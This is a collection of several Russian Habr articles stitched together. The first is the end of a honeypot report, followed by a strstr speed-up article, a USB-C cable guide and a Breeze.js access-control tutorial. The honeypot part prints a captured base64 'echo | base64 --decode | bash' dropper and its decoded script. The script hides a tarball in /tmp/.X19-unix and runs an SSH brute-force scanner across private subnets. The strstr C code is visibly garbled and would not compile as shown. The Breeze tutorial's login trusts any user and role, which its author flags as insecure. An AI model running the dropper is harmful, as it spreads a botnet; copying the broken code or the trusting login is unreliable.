sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4Cm1rZGlyIC5YMTktdW5peApjZCAuWDE5LXVuaXgKbXYgL3Zhci90bXAvZG90YTMudGFyLmd6IGRvdGEzLnRhci5negp0YXIgeGYgZG90YTMudGFyLmd6CnNsZWVwIDNzICYmIGNkIC90bXAvLlgxOS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgxOS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxOTIuMTY4ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDhtICYmIG5vaHVwIC90bXAvLlgxOS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxNzIuMTYgPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgMjBtICYmIGNkIC4uOyAvdG1wLy5YMTktdW5peC8ucnN5bmMvaW5pdGFsbCAyPjEmCmV4aXQgMA==" | base64 --decode | bash
```
**Содержимое скрипта**
```
#!/bin/bash
cd /tmp
rm -rf .ssh
rm -rf .mountfs
rm -rf .X13-unix
rm -rf .X17-unix
rm -rf .X19-unix
mkdir .X19-unix
cd .X19-unix
mv /var/tmp/dota3.tar.gz dota3.tar.gz
tar xf dota3.tar.gz
sleep 3s && cd /tmp/.X19-unix/.rsync/c
nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1&
sleep 8m && nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1&
sleep 20m && cd ..; /tmp/.X19-unix/.rsync/initall 2>1&
exit 0
```
При этом в скрипте используется *dota3.tar.gz*, но этот файл, увы, не был загружен на сервер. :(
Последним на сервер зашел уже известный нам krane, он же продолжил трудиться до рассвета.
Выводы
------
Мы предложили Интернету беззащитную виртуалку и посмотрели, что произойдет. Все в рамках наших ожиданий, но давайте подведем итог.
1. Не используйте пароли для аутентификации и по возможности переносите SSH на нестандартный порт. Можно по вкусу добавить fail2ban.
2. Если наличие парольной аутентификации неизбежно, не используйте в качестве пароля даты, шаблонные сочетания и имя пользователя.
3. Наибольшую угрозу представляет ботнет *mdrfckr*. Их много и их не останавливает даже то, что они уже взломали ваш сервер. Хотя сейчас этот ботнет просто меняет доступы, чем защищает взломанный сервер от системного администратора и других атакующих, но оставляет себе возможность вернуться на ваш сервер.
4. Другие брутфорсеры приходят не сразу, но могут содержать более изощренные скрипты.
[](https://slc.tl/OM-G1) | https://habr.com/ru/post/567250/ | null | ru | null |
# Как я ускорял strstr
Понадобилось мне недавно написать аналог функции strstr(поиск подстроки в строке). Я решил его ускорить. В результате получился алгоритм. Я не нашел его по первым ссылкам в поисковике, зато там куча других алгоритмов, поэтому и написал это.
График сравнения скорости работы моего алгоритма, с функцией strstr на 600 кб тексте русскоязычной книги, при поиске строк размером от 1 до 255 байт:
Идея лежащая в основе алгоритма следующая. Сперва обозначения:
S — Строка в которой будет производится поиск будет называться
P — строка, которую ищем будет называться
sl — длина строки S
pl — длина строки P
PInd — табличка составляемая на первом этапе.
Итак идея такая: Если в строке S выбирать элементы с индексами равными: pl*1, pl*2,..., pl*J,..., pl*(sl/pl), то если в отрезок pl*(J-1)...pl*(J+1) входит искомая строка P, то тогда выбранный элемент должен принадлежать строке P. Иначе строка бы не вписывалась по длине.
Картинка, где нарисовано до куда дотягивается P, в pl\*3.:
И ещё, так как выбранный элемент входит в строку P обычно маленькое число раз, то можно проверять только эти вхождения, а не весь диапазон.
Итого алгоритм такой:
#### Этап 1. Сортировка P
Для всех элементов(символов) строки P сортируем индексы этих элементов по значению этих элементов. То есть делаем так, что-бы все номера всех элементов равных какому-то значению, можно было быстро получить. Эта табличка будет дальше называться PInd:
Как видно из этой таблички, при поиске на этапе 2 при искомой строке P равной "сортировать индексы" нам понадобится проверять максимум 2 варианта подстрок в S.
Сначала я для составления этой таблички использовал быструю сортировку и какую-то ещё, а потом я сообразил, что так как элементы строки однобайтовые, то можно использовать поразрядную.
#### Этап 2. Поиск
Проходим по строке строке S скачками равными pl, выбирая соответствующие элементы. Для каждого выбранного элемента проверяем входит ли он в строку P.
Если входит, то для всех индексов из PInd соответствующего элемента, проверяем совпадает ли подстрока S с началом в соответствующим индексу из PInd смещением относительно выбранного элемента и искомая строка P.
Если совпало, то возвращаем результат, если нет то продолжаем.
Худший вариант для этого алгоритма, зависит от способа сравнения строк во втором этапе. Если простое сравнение, то sl\*pl+pl, если какой-то ещё, то другой. Я использовал просто сравнение, как в обычном strstr.
За счёт того, что алгоритм скачет через pl элементов и проверяет только возможные строки он работает быстрее.
Лучший вариант, это когда алгоритм проскачет всю строку S и не найдёт текст или найдёт с первого раза, тогда потратит примерно sl/pl.
Среднюю скорость я не знаю как подсчитать.
Вот одна из моих реализаций этого алгоритма, по которой строился график на языке си. Здесь pl ограничено, то есть таблица PInd строится по префиксу P длины max\_len, а не по всей строке. Именно он использовался при построении графика:
**Вот закодированный на си**
```
char * my_strstr(const char * str1, const char * str2,size_t slen){
unsigned char max_len = 140;
if ( !*str2 )
return((char *)str1);
//Очистка массивов
unsigned char index_header_first[256];
unsigned char index_header_end[256];
unsigned char last_char[256];
unsigned char sorted_index[256];
memset(index_header_first,0x00,sizeof(unsigned char)*256);
memset(index_header_end,0x00,sizeof(unsigned char)*256);
memset(last_char,0x00,sizeof(unsigned char)*256);
memset(sorted_index,0x00,sizeof(unsigned char)*256);
//Этап 1.
char *cp2 = (char*)str2;
unsigned char v;
unsigned int len =0;
unsigned char current_ind = 1;
while((v=*cp2) && (len slen){
return NULL;
}
//Этап 2.
unsigned char \*s1, \*s2;
//Начинаем проверку с элемента S+pl-1
unsigned char \*cp = (unsigned char \*) str1+(len-1);
unsigned char \*cp\_end= cp+slen;
while (cp=str1)
{
//Сравниваем строки
s2 = (unsigned char\*)str2;
while ( \*s2 && !(\*s1^\*s2) )
s1++, s2++;
if (!\*s2)
return (char\*)(cp-pos\_in\_len);
}
}
while( (ind = last\_char[ind]) );
}
//Прыгаем вперёд на pl
cp+=len;
}
return(NULL);
}
```
Обновление: Это действительно не совсем прямая замена strstr, так как требует дополнительно параметр — длину строки S. | https://habr.com/ru/post/303830/ | null | ru | null |
# Всё про USB-C: типы кабелей
[](https://habr.com/ru/company/ruvds/blog/705642/)
Тема кабелей и разъёмов стандарта USB-C является довольно запутанной, и тому есть объективные причины. Множество вариантов реализации и нюансов вкупе с не всегда добросовестными производителями вносят на рынок кабелей неразбериху. Тем не менее в статье я покажу, что всё в этом вопросе не так уж плохо, если вы готовы прибегнуть к ряду приёмов и скорректировать собственные ожидания.
> *Прим. пер.*: Это новая часть серии, посвященной стандарту USB-C. Остальные доступны здесь:
>
>
>
> * [Всё про USB-C: введение для электронщиков](https://habr.com/ru/company/ruvds/blog/714476/)
> * *Всё про USB-C: типы кабелей* < — Вы здесь
> * [Всё про USB-C: механика разъёмов](https://habr.com/ru/company/ruvds/blog/711508/)
> * [Всё про USB-C: переходники вне стандарта](https://habr.com/ru/company/ruvds/blog/708492/)
> * [Всё про USB-C: резисторы и E-Marker](https://habr.com/ru/company/ruvds/blog/712766/)
> * [Всё про USB-C: обеспечение питания](https://habr.com/ru/company/ruvds/blog/710248/)
>
▍ Неразбериха в кабелях
-----------------------
У вас может быть целая куча кабелей USB-C, которые внешне выглядят одинаково, но при этом вы знаете, что начинка у них разная. Причём зачастую никаких обозначений на них не присутствует. Да, это довольно плохо, и можно даже сказать, что ситуация только ухудшается.
Сразу хочу уточнить, что здесь речь пойдёт только о кабелях USB-C «папа» – USB-C «папа». Несмотря на популярность кабелей вроде USB-A – USB-C, устроены они довольно просто. В них мы имеем стандарт передачи данных USB 2.0 или 3.0 и поддержку тока не более 2 А, а разъём USB-C обычно подключается к хосту с напряжением 5 В, которое определяется подтягивающим резистором. К тому же — хоть визуально кабели вроде «Type-C – DisplayPort» могут выглядеть как кабели, на деле они являются переходниками, напичканными [приличным объёмом электроники](https://www.reddit.com/user/hubsdocks/comments/pjju28/sneak_peek_of_other_usbc_dp_bidirectional_cable/).
Согласно одной только спецификации, изначально существовало [шесть типов кабелей USB-C – USB-C](https://people.kernel.org/bleung/how-many-kinds-of-usb-c-to-usb-c-cables-are-there). Потом их [стало восемь](https://people.kernel.org/bleung/now-how-many-usb-c-to-usb-c-cables-are-there-usb4-update-september-12). А сейчас это число достигло уже двенадцати. И это только в соответствии со спецификацией, а ведь существует ещё множество сторонних модификаций. Радует, что обычно большинство таких кабелей вполне годятся для простых задач вроде зарядки устройств и передачи данных, а какие-то специфичные случаи их применения встречаются довольно редко.
Далее мы разберём различные виды кабелей, и вы поймёте, что отличить их между собой гораздо проще, чем может показаться.
▍ Сортировка по категориям
--------------------------
Начнём с того, что для USB-кабелей существует два варианта допустимой токовой нагрузки – 3 А и 5 А. 3 А является необходимым минимумом для любого кабеля, а 5 А уже поддерживается опционально. Естественно, низкокачественные кабели могут недотягивать и до 3 А, но это редкий случай. В прошлом году группа USB-C представила технологию EPR (Extended Power Range), поднимающую максимальное напряжение с 20 В до 48 В и требующую улучшения изоляции между контактами линии данных и питания. Это ещё две дополнительных категории, SPR (максимум 20 В) и EPR (максимум 48 В). Тем не менее кабелей 3 A EPR не существует, так что здесь всё чуть менее запутано, чем может прозвучать.
Ещё существует как минимум четыре варианта по скорости передачи данных. Раньше нам были доступны кабели USB 2 и USB 3 с разъёмом Type-C, а также интерфейс Thunderbolt. Теперь же появился новый стандарт USB 3.1, нацеленный на повышенные скорости и нуждающийся в более скоростных кабелях. Кроме того, существуют активные кабели USB-C, которые проводят сигнал через редрайверы или оптоволокно для увеличения дальности его передачи. Если вы считали, что в кабелях применяется разная разводка проводов, которая вносит дополнительную вариативность как в рамках спецификации, так и вне её, то, к сожалению, были правы.
В итоге мы получаем матрицу три на четыре, представляющую возможные виды имеющихся у вас кабелей. Три строки в ней обозначают силу тока 3 А, 5 А и EPR 5 A, а четыре столбца – скорости передачи. Помимо этого, существует множество кабелей, откровенно выпадающих из спецификации – например, кабели только для зарядки без выводов 2.0, что с точки зрения технических требований, конечно же, выглядит кощунственно. Естественно, такой можно купить как случайно, так и намеренно. Но как определить вид тех, что у вас уже есть?
Давайте упростим задачу до пространства вариантов три-на-четыре, отбросив исключения – со временем эти странные кабели будут выделяться все меньше, поскольку даже производители дешёвых изделий в итоге научатся следовать требованиям.
Неопровержимое преимущество такого спектра всяческих кабелей в возможности купить именно тот, что будет соответствовать вашим потребностям, будь то дешёвая поделка за 5$ или качественное изделие за $40. При этом кабели 2.0 тоньше, легче и более гибкие – ведь вы явно не станете использовать Thunderbolt для зарядки ноутбука в пути. Помимо этого, у USB-C есть элементы, по которым можно отличать разные кабели. Далее я об этом расскажу подробнее.
▍ В вашем кабеле есть компьютер… ну почти
-----------------------------------------
Когда источник питания может подать по кабелю ток более 3 А, он не сделает это мгновенно – сначала он убедится в способности кабеля проводить подобный ток и в том, что подключённое устройство может такой ток принять.
Как конкретно он проверяет возможности кабеля? Через считывание его “E-Marker”. E-marker – это микросхема памяти в разъёме кабеля, которая кодирует его возможности и параметры, будучи подключённой к каналу СС для их передачи. Эта микросхема необходима для всех кабелей со скоростью от USB 3 и силой тока от 3 А. При этом в E-Marker может быть закодировано огромное число параметров, включая даже [код страны](https://twitter.com/whitequark/status/1035774649643266054). Хотите узнать подробнее? Рекомендую почитать [техническое описание программируемой микросхемы VL151](https://datasheet.lcsc.com/lcsc/1806080019_VIA-Tech-VL151-A3-W_C209761.pdf), где перечисляется много интересной информации, которую можно получить из обычной E-Marker.
При желании вы даже можете купить эти микросхемы онлайн и установить их в свои кабели – например, [WLCSP VL151](https://lcsc.com/product-detail/USB-ICs_VIA-Tech-VL151-A3-W_C209761.html) или её [UDFN- версию](https://lcsc.com/product-detail/USB-ICs_VIA-Tech-VL151-A3-2_C209759.html). Правда прошить эти чипы можно через I2C всего три раза. Если вы захотите собирать собственные кабели USB-C с поддержкой 5 А, то можете также купить штекеры с уже впаянными микросхемами E-Marker. Кто знает, возможно, вскоре мы даже увидим на этих микросхемах Doom.
▍ Самостоятельная проверка кабелей
----------------------------------
Итак, возможности кабеля можно узнать, прочитав E-Marker. Тут пользователи Linux могут подумать, что эта информация должна быть доступна где-то в */sys/*, но, как известно, пока такой степени поддержки нет – каталог */sys/class/typec/* на моём ноутбуке Framework с ядром 6.0.3 пуст, даже при подключении монитора Type-C. Тем временем существуют [USB-C тестеры](https://www.reddit.com/r/UsbCHardware/comments/z2hncm/recently_learned_that_the_latest_generation_of/), способные считывать информацию с E-Marker.
Если же E-Marker в вашем кабеле нет, то можно предположить, что он поддерживает скорость передачи USB 2.0 и силу тока 3 А, но вряд ли намного больше. Помимо токопроводящей способности кабеля, E-Marker может сообщить, содержит ли он высокоскоростные пары, и какие именно.
В кабеле USB-C таких пар обычно либо нет вовсе, либо присутствует четыре. Естественно, это в дополнение к обязательной паре USB 2.0. При этом существуют исключения – если у вас есть кабель «USB-A – USB-C» с поддержкой USB 3, то в нём будет присутствовать лишь две пары. Также всего две пары вы, скорее всего, найдёте в переходнике «USB-C – HDMI» со встроенным кабелем. Плюс из чисто практических наблюдений могу сказать, что у меня есть кабель, которым комплектовался корпус USB – M.2 NVMe, и у него тоже всего две пары. Он будет работать с USB 3.0, но не подойдёт для DisplayPort или аналогичных разъёмов – да и длины ему для подобного применения будет маловато.
Хотите проверить сами? К счастью, для этого не обязательно разрезать кабель. Мы уже неоднократно разбирали тестеры для USB-C, и вот [одна из последних статей](https://hackaday.com/2022/11/20/a-handy-oshw-usb-cable-tester-for-your-toolkit/) (англ.). Это опенсорсные решения, и вы запросто можете собрать такой девайс сами. В качестве альтернативы на Tindie и Aliexpress есть целая куча готовых. Эта приспособа не определит разницу между кабелями 20Гб/с и 40Гб/с, но поможет отличить модели USB 2.0 и 3.0.
Кроме того, кабели можно протестировать в естественных условиях. Если вы используете зарядное устройство на 100 Вт и ноутбук аналогичной мощности, то можете легко проверить, обеспечивает ли ваш кабель 100 Вт питания. Для этого достаточно соединить зарядку и ноутбук через любой дешёвый измеритель мощности USB-C и посмотреть, превышает ли потребляемый ток 3 А. Аналогичный приём можно использовать в случае, когда у вас есть куча кабелей, и вы хотите выяснить, дотягивают ли они до USB 3 и выше. Здесь вам дополнительно потребуется, например, тот же корпус M.2 NVMe с портом USB 3 Type-C «мама».
В этом случае можно провести следующий быстрый тест – подключить корпус к ноутбуку кабелем USB-C, затем выполнить `lsusb -t`, которая покажет скорость соединения (480 для кабелей USB 2 и 5000/10000 для USB 3). В качестве бонуса можете проверить, не проваливают ли какие-либо из ваших кабелей проверку на реверсивность – поскольку это до сих пор является проблемой.
▍ Восполнение отсутствующей маркировки
--------------------------------------
Естественно, сам производитель в точности знает возможности своих кабелей и их внутреннюю структуру. Но при этом он должен сопровождать свои изделия маркировкой, которая по факту встречается довольно редко. Иногда характеристики указываются на упаковках. Так что, если вы свои ещё вдруг не выбросили, то можете взглянуть на них или посмотреть описание товара в онлайн-магазине. Предположим, у вас есть кабель без обозначений, и вы только что определили его характеристики. Как быть дальше?
Что ж, доставайте флаконы с лаком для ногтей и следуйте [рекомендации [@\_saljam]](https://twitter.com/_saljam/status/1416763470247247879). [Вот цветовая схема](https://sa.lj.am/usbccccc/) для разметки кабелей USB-C после того, как вы разобрались с их параметрами. Одна полоска означает 3 А, две – 5 А. Оранжевый – это USB 2.0, синий – USB 3 20 Гб/с (Gen 1), зелёный – USB 3 40 Гб/с (Gen 2), жёлтый – Thunderbolt. Мне особенно нравится, что при использовании этой схемы кабели Thunderbolt на 5 А выглядят как пчёлы. Кроме того, [@\_saljam] говорит, что эта схема вполне подходит для восприятия дальтониками.
Как бы то ни было, но дела у USB-C идут на поправку. Ответственная группа ввела новую схему обозначений, над которой, кстати, многие посмеялись. Хотя эта схема довольно проста и не лишена смысла. Если кабель поддерживает 40 Гб/с, то на нём будет логотип 40 Гб/с. Если он поддерживает 240 Вт, то и эта характеристика будет обозначена соответствующим логотипом. Если же в нём реализована поддержка и того и другого, то вы увидите оба этих обозначения. Вам может не захотеться закрашивать эти логотипы лаком, но я уверен, вы что-нибудь придумаете.
▍ Встроенные кабели USB-C
-------------------------
Вам могли попадаться устройства, например, док-станции, со встроенными USB-C кабелями. Такое решение является альтернативой стандартному наличию порта типа «мама» и использованию кабеля «папа» — «папа». Несъёмные кабели не попадают под тот же набор правил, и используемая в них электроника намного проще, в связи с чем они часто устанавливаются в дешёвых устройствах.
Проще говоря, если вы хотите задействовать на своём устройстве высокоскоростные линии и встраиваете в него несъёмный кабель, то вам не нужно добавлять скоростной мультиплексор для поддержки двух вариантов ориентации штекера – в данном случае за подстройку к тому или иному направлению его подключения отвечает хост. Кроме того, поскольку единственная возможная линия CC подключена аппаратно, вам потребуется не два, а один резистор на 5,1 кОм, а E-Marker не потребуется вовсе. Если же вы добавляете в док-станцию порт «мама» с высокоскоростными линиями, то без мультиплексора уже не обойтись.
Но в условиях соглашения о продаже добротно оснащённых док-станций с USB-C на Aliexpress всего по 15$ такой вариант не годится. В связи с этим многие дешёвые устройства комплектуются несъёмными кабелями, что одновременно всё и усложняет, и упрощает. Плюс в том, что вам больше не потребуется подбирать подходящий кабель для подключения устройства, и он наверняка будет оптимально соответствовать стандартам, так как реализовывать подобные несъёмные кабели очень легко. К недостаткам же можно отнести ограниченность только этим встроенным в устройство кабелем. Если он ломается, считай, ломается всё устройство. К тому же нарастить вы его не сможете. Или сможете?
Хотя вопрос о наращивании предлагаю перенести на другой раз, а с ним и тему кабелей USB-C, выпадающих из требований спецификации. Сейчас же хочу сделать акцент на том, что кабели должны быть легко заменимыми. Если кабель вдруг перестал быть вам другом или начал выкидывать странности – налепите на него клеймо позора, уберите подальше, чтобы не было соблазна вдруг его использовать, и закажите замену. А лучше несколько замен. Здесь, как и в случае с кабелями Micro-USB, замена является основным способом избавления от связанных с ними проблем.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=podrobno_o_tipax_kabelej_usb_c) | https://habr.com/ru/post/705642/ | null | ru | null |
# Breeze Server — разграничиваем доступ к объектам при помощи атрибутов
В прошлой статье [Breeze.js + Entity Framework + Angular.js = удобная работа с сущностями базы данных прямо из браузера](http://habrahabr.ru/post/246441/) мы рассмотрели создание простейшего приложения, где делали выборки и сохраняли данные в базе прямо из javascript в браузере. Конечно же первыми у читателей возникли вопросы о безопасности. Поэтому сегодня мы рассмотрим, как можно организовать разграничение доступа. Для этого мы немного доработаем наше приложение из прошлой статьи так, чтобы можно было при помощи атрибутов раздать определённые права доступа на добавление, удаление, изменение и просмотр данных определённым пользователям или ролям.
К сожалению, никаких встроенных средств для этого в библиотеке не предусмотрено. И тут, разработчики предлагают нам два пути.
#### Путь первый
Сохранение абсолютно всех изменений в нашем приложении происходило при помощи метода SaveChanges единственного контроллера DbController. И, если нам не требуется гибкого разграничения доступа, а нужно просто разрешить кому-то сохранение данных, либо его запретить — то самым лёгким выходом будет просто навесить на SaveChanges атрибут [AuthorizeAttribute](https://msdn.microsoft.com/ru-ru/library/system.web.http.authorizeattribute(v=vs.118).aspx), и тогда уже WebApi позаботится о том, чтобы дать/запретить доступ на изменение данных. Это вариант очень прямолинейный и абсолютно не гибкий, всё или ничего, и, как правило, в реальных проектах этого всегда недостаточно.
#### Путь Второй
Метод SaveChanges принимает один параметр JObject, в нём одним пакетом содержатся все данные, которые нужно сохранить. Затем мы его передаём EFContextProvider в метод SaveChanges, а он уже и разбирает объект с данными и сохраняет изменения в базу. У него есть виртуальный метод BeforeSaveEntity, который вызывается каждый раз перед сохранением сущности, им мы и воспользуемся.
Поскольку статья о безопасности, считаю необходимым, на всякий случай, упомянуть, что **код из статьи служит исключительно цели показать некоторые способы, с помощью которых можно реализовать механизмы безопасности и только для этого, чтобы не усложнять проект используется довольно дурной стиль программирования, поэтому использовать куски этого кода в реальных проектах, абсолютно неприемлемо.**
Пожалуй, перейдём сразу к практике, и, по ходу дела, разберём, что да как. Начнём с того места, на котором остановились в [прошлой статье](http://habrahabr.ru/post/246441/), для этого можете скачать проект [по этой ссылке](http://1drv.ms/1DPZruW). После скачивания проект нужно построить, чтобы NuGet восстановил все пакеты, которые я удалил из проекта для уменьшения размера, и можно приступать.
Для начала нужно реализовать аутентификацию. Сделаем простейшую аутентификацию на основе cookies, для этого установим NuGet пакет [Microsoft ASP.NET Identity Owin](https://www.nuget.org/packages/Microsoft.AspNet.Identity.Owin/2.1.0), [Microsoft ASP.NET Web API 2.2 OWIN](https://www.nuget.org/packages/Microsoft.AspNet.WebApi.Owin/5.2.2) и [Microsoft.Owin.Host.SystemWeb](https://www.nuget.org/packages/Microsoft.Owin.Host.SystemWeb/3.0.0), так как в прошлый раз мы не использовали OWIN в приложении, далее создадим OWIN Startup класс Startup.cs, и в нём зарегистрируем стандартный маршрут для контроллеров WebApi, установим тип аутентификации DefaultAuthenticationTypes.ApplicationCookie и при помощи CamelCasePropertyNamesContractResolver заставим WebApi отдавать нам данные в camelCase.
```
using System;
using System.Threading.Tasks;
using Microsoft.Owin;
using Owin;
using System.Web.Http;
using Newtonsoft.Json.Serialization;
using Microsoft.Owin.Security.Cookies;
using Microsoft.AspNet.Identity;
[assembly: OwinStartup(typeof(BreezeJsDemo.App_Start.Startup))]
namespace BreezeJsDemo.App_Start
{
public class Startup
{
public void Configuration(IAppBuilder app)
{
HttpConfiguration config = new HttpConfiguration();
config.MapHttpAttributeRoutes();
config.Routes.MapHttpRoute(
name: "DefaultApi",
routeTemplate: "api/{controller}/{id}",
defaults: new { id = RouteParameter.Optional }
);
app.UseCookieAuthentication(new CookieAuthenticationOptions
{
AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie
});
config.Formatters.JsonFormatter.SerializerSettings.ContractResolver = new CamelCasePropertyNamesContractResolver();
app.UseWebApi(config);
}
}
}
```
Теперь создадим контроллер LoginController.cs
```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Http;
using Microsoft.Owin;
using Microsoft.Owin.Security;
using System.Security.Claims;
using Microsoft.AspNet.Identity;
namespace BreezeJsDemo.Controllers
{
public class LoginController : ApiController
{
public class LoginViewModel
{
public string user { get; set; }
public string role { get; set; }
}
public IHttpActionResult Post(LoginViewModel login)
{
var authenticationManager = HttpContext.Current.GetOwinContext().Authentication;
if (authenticationManager.User.Identity.IsAuthenticated)
{
authenticationManager.SignOut(DefaultAuthenticationTypes.ApplicationCookie);
}
var claims = new Claim[] {
new Claim( ClaimTypes.Name, login.user),
new Claim( ClaimTypes.Role, login.role)
};
var identity = new ClaimsIdentity(claims, DefaultAuthenticationTypes.ApplicationCookie);
authenticationManager.SignIn(identity);
return Ok();
}
}
}
```
Здесь мы методом Post принимаем имя пользователя и имя роли, создаём на их основе ClaimsIdentity и осуществляем вход. Дабы не усложнять пример, ни проверок, ни паролей, ни базы пользователей мы делать не будем, так сказать:
*-У нас здесь все джентльмены, все друг другу верят на слово.*
Теперь добавим соответствующие поля в интерфейс. Прежде всего для этого нужно немного изменить /app/shoppingList/shoppingList.controller.js. Нам потребуется сервис $http, поэтому добавим его в зависимости
```
...
ShoppingListController.$inject = ['$scope', '$http', 'breeze'];
function ShoppingListController($scope, $http, breeze) {
...
```
И функцию login()
```
...
vm.login = login;
...
function login() {
$http.post('api/login', { user: vm.user, role: vm.role });
}
...
```
Добавим поля ввода имени пользователя и роли в разметку /app/shoppingList/shoppingList.html, например, наверх в navbar
```
* Сохранить изменения
* Отменить изменения
* Обновить
Вход
```
Теперь, когда мы можем представиться нашему приложению кем захотим, перейдём к атрибутам доступа. Допустим, мы будем раздавать права на доступ с помощью таких атрибутов: CanAddAttribute(даёт право на добавление в базу новой записи), CanDeleteAttribute(право на удаление) и CanEditAttribute(право на изменение), причём, если повесить CanEditAttribute на свойства класса — пользователь сможет изменять их значения, а если повесить его на класс — пользователь сможет изменять все его свойства без исключений. Конечно, в реальном проекте такая схема будет крайне неудобна и нежизнеспособна, но, чтобы объяснить идею этого набора будет вполне достаточно.
```
public class HasRightsAttribute: Attribute
{
public String User { get; set; }
public String Role { get; set; }
}
[AttributeUsage(AttributeTargets.Class, AllowMultiple=true)]
public class CanAddAttribute: HasRightsAttribute
{
}
[AttributeUsage(AttributeTargets.Class, AllowMultiple = true)]
public class CanDeleteAttribute : HasRightsAttribute
{
}
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Property, AllowMultiple = true)]
public class CanEditAttribute: HasRightsAttribute
{
}
```
Раздадим эти атрибуты нашим моделям, например
```
[CanEdit(User = "User")]
[CanAdd(Role = "Role")]
[CanDelete(Role = "Role2")]
public class ListItem
{
public int Id { get; set; }
public String Name { get; set; }
[CanEdit(User = "User2", Role = "Role2")]
public Boolean IsBought { get; set; }
public int CategoryId { get; set; }
public Category Category { get; set; }
}
```
И вот что это будет означать:
* пользователи с ролью «Role» имеют право добавлять в базу объекты класса ListItem
* пользователи с ролью «Role2» могут их удалять
* пользователь с именем «User» может изменять значения любых его полей
* пользователи с ролью «Role2» может изменять значение поля IsBought
* пользователи с именем «User2» может изменять значение поля IsBought
И нечто подобное добавим классу Category
```
[CanEdit( User = "User")]
[CanAdd( Role = "Role")]
public class Category
{
public int Id { get; set; }
public String Name { get; set; }
public List ListItems { get; set; }
}
```
Теперь займёмся основным, создадим класс SecureEFContextProvider — наследник EFContextProvider, который будет осуществлять разграничение доступа
```
using Breeze.ContextProvider;
using Breeze.ContextProvider.EF6;
using BreezeJsDemo.Classes.Attributes;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Reflection;
using System.Web.Http;
using System.Net;
using System.Security.Claims;
using System.Data.Entity.Infrastructure;
using System.Data.Entity.Core.Objects;
using BreezeJsDemo.Model;
namespace BreezeJsDemo.Classes
{
public class SecureEFContextProvider : EFContextProvider where T : class, new()
{
protected override bool BeforeSaveEntity(EntityInfo entityInfo)
{
var user = HttpContext.Current.GetOwinContext().Authentication.User;
if (user.Identity.IsAuthenticated)
{
var userName = user.FindFirst(ClaimTypes.Name).Value;
var role = user.FindFirst(ClaimTypes.Role).Value;
var entityType = entityInfo.Entity.GetType();
switch (entityInfo.EntityState)
{
case EntityState.Added:
//Если тип имеет атрибут CanAddAttribute для текущего пользователя или роли
if (entityType.GetCustomAttributes().Any(x => x.Role == role || x.User == userName))
{
return true;
}
break;
case EntityState.Deleted:
//Если тип имеет атрибут CanDeleteAttribute для текущего пользователя или роли
if (entityType.GetCustomAttributes().Any(x => x.Role == role || x.User == userName))
{
return true;
}
break;
case EntityState.Modified:
//Если тип имеет атрибут CanEditAttribute для текущего пользователя или роли
if (entityType.GetCustomAttributes().Any(x => x.Role == role || x.User == userName))
{
return true;
}
//Если все изменённые свойства
if (entityInfo.OriginalValuesMap.All(x => entityType
.GetProperty(x.Key)
//Имеют атрибут CanEditAttribute для текущего пользователя или роли
.GetCustomAttributes().Any(y => y.Role == role || y.User == userName)))
{
return true;
}
break;
}
}
//Иначе доступ запрещён
throw new HttpResponseException(HttpStatusCode.Forbidden);
}
}
}
```
В этом классе мы перегрузили метод BeforeSaveEntity, EFContextProvider вызывает его перед сохранением каждой сущности. Это место предусмотрено разработчиками специально для того, чтобы проверять, что именно мы собираемся изменять, для валидации изменений или изменения некоторых данных перед сохранением, например, даты последнего изменения объекта. Если метод вернёт false — сущность не будет сохранена, если в методе возникнет исключение, то будет отменено сохранение всего пакета изменений, а клиенту будет возвращено исключение. Базовая версия метода просто всегда возвращает true, поэтому вместо его вызова можно писать return true.
Так же можно перегрузить метод protected Dictionary BeforeSaveEntities(Dictionary saveMap), в него попадает сразу весь пакет сохранения, возвращать следует так же Dictionary, это и будет новым пакетом для сохранения.
Эти методы принимают на вход объекты типа EntityInfo, где содержатся данные о сущности, которую требуется сохранить и тип операции, которую требуется произвести, рассмотрим некоторые из его свойств
* ContextProvider ContextProvider — ссылка на ContextProvider
* Object Entity — непосредственно сама сохраняемая сущность в виде объекта .NET, со значениями свойств, пришедшими с клиента в пакете
* EntityState EntityState — статус объекта (Добавлен, Изменён, Удалён)
* Dictionary OriginalValuesMap — оригинальные значения свойств, до сохранения. Бриз изменит в базе значения только тех полей, чьи имена являются ключами этого словаря, при этом не тронув остальную запись. Причём это данные, которые пришли с клиента в пакете изменений, то есть этим данным доверять нельзя. Сам бриз не обращает внимания на значения свойств, которые там хранятся (за исключением полей, которые используются для concurrency check), важно лишь наличие ключа с именем изменяемого поля в словаре. То есть, если Вы, например, хотите уже на стороне сервера изменить свойство EditDate, которое не изменено на клиенте, Вам надо будет сначала изменить его значение в Entity, а затем в OriginalValuesMap добавить ключ «EditDate», с любым значением, например, null. И наоборот, если Вы не хотите изменять значение какого-либо поля, которое захотел изменить клиент — нужно удалить соответствующий ему ключ из OriginalValuesMap.
* bool ForceUpdate — если установить true — бриз обновит значения всех полей сущности, не смотря на содержание OriginalValuesMap, по-умолчанию стоит false
* Dictionary UnmappedValuesMap — значения прочих свойств сущности, которые пришли с пакетом сохранения в json, но не попадающих в Вашу модель.
